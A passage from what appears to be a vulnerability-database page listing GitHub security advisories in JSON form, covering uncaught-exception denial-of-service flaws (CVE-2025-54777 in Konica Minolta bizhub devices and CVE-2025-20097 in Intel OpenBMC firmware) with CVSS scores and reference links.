"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception Handling Parsing Errors on Line Terminators"
}
GHSA-93Q9-3XPQ-2256
Vulnerability from github – Published: 2025-08-29 09:31 – Updated: 2025-08-29 09:31
VLAI
Details
Uncaught exception issue exists in Multiple products in bizhub series. If a malformed file is imported as an S/MIME Email certificate, it may cause a denial-of-service issue that disable the Web Connection feature.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-54777"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T07:15:32Z",
"severity": "MODERATE"
},
"details": "Uncaught exception issue exists in Multiple products in bizhub series. If a malformed file is imported as an S/MIME Email certificate, it may cause a denial-of-service issue that disable the Web Connection feature.",
"id": "GHSA-93q9-3xpq-2256",
"modified": "2025-08-29T09:31:24Z",
"published": "2025-08-29T09:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54777"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU99831542"
},
{
"type": "WEB",
"url": "https://www.konicaminolta.jp/business/support/important/250829_01_01.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-954H-PP6M-W6FR
Vulnerability from github – Published: 2025-02-13 00:33 – Updated: 2025-02-13 00:33
VLAI
Details
Uncaught exception in OpenBMC Firmware for the Intel(R) Server M50FCP Family and Intel(R) Server D50DNP Family before version R01.02.0002 may allow an authenticated user to potentially enable denial of service via network access.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-20097"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T22:15:41Z",
"severity": "MODERATE"
},
"details": "Uncaught exception in OpenBMC Firmware for the Intel(R) Server M50FCP Family and Intel(R) Server D50DNP Family before version R01.02.0002 may allow an authenticated user to potentially enable denial of service via network access.",
"id": "GHSA-954h-pp6m-w6fr",
"modified": "2025-02-13T00:33:07Z",
"published": "2025-02-13T00:33:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20097"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-00990.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.